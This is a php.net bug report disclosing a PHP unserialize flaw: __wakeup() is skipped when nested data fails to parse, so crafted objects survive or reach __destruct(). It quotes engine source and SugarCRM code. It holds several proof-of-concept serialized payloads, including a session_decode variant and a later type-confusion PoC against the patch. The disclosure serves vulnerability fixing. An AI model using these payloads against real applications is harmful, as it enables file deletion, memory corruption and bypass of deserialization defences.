|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-07-24 02:09 UTC] taoguangchen at icloud dot com
Description:
------------
Create an Unexpected Object and Don't Invoke __wakeup() in During Deserialization
```
static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
...
if (ce->serialize == NULL) {
object_init_ex(*rval, ce); <=== create object
...
static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
{
...
if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) { <=== create object properties
return 0;
}
if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
INIT_PZVAL(&fname);
ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
BG(serialize_lock)++;
call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC); <=== call to __wakeup()
BG(serialize_lock)--;
}
```
If the process_nested_data() return 0, the __wakeup() will not be invoked, but the object and its properties has been created, then the unexpected object will be destroyed (or may not). This may cause some security issues.
i)The unexpected object was destroyed, invoke __destruct()
Some app revents objects deserialization via __wakeup(), ex SugarCRM:
https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stream.php
```
public function __destruct()
{
if(is_resource($this->stream)) {
fclose($this->stream);
$this->stream = null;
}
if($this->_cleanup) {
@unlink($this->stream_name);
}
}
/**
* This is needed to prevent unserialize vulnerability
*/
public function __wakeup()
{
// clean all properties
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
throw new Exception("Not a serializable object");
}
```
So attacker can bypass __wakeup() and invoke __destruct() with crafted properties.
ii)The unexpected object wasn't destroyed, invoke more magic methods.
Keeping the unexpected object via customized deserialization.
PoC:
```
<?php
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
}
}
$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:4;}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';
$data = unserialize($exploit);
echo $data[1];
?>
```
Keeping the unexpected object via session deserialization.
```
PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
{
...
PHP_VAR_UNSERIALIZE_INIT(var_hash);
ALLOC_INIT_ZVAL(session_vars);
if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) {
var_push_dtor(&var_hash, &session_vars);
}
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
...
PS(http_session_vars) = session_vars;
```
The unexpected data in during deserialization will be still stored into $_SESSION.
PoC:
```
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$sess = 'O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:1;}';
session_decode($sess);
echo $_SESSION;
?>
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 17:00:01 2025 UTC |
This patch will lead to type confusion: ``` <?php ini_set('memory_limit', -1); class obj { var $ryat; function __wakeup() { $this->ryat = str_repeat('A', 0x11223344); } } $poc = 'O:8:"stdClass":1:{i:0;O:3:"obj":1:{s:4:"ryat";R:1;'; unserialize($poc); ?> ```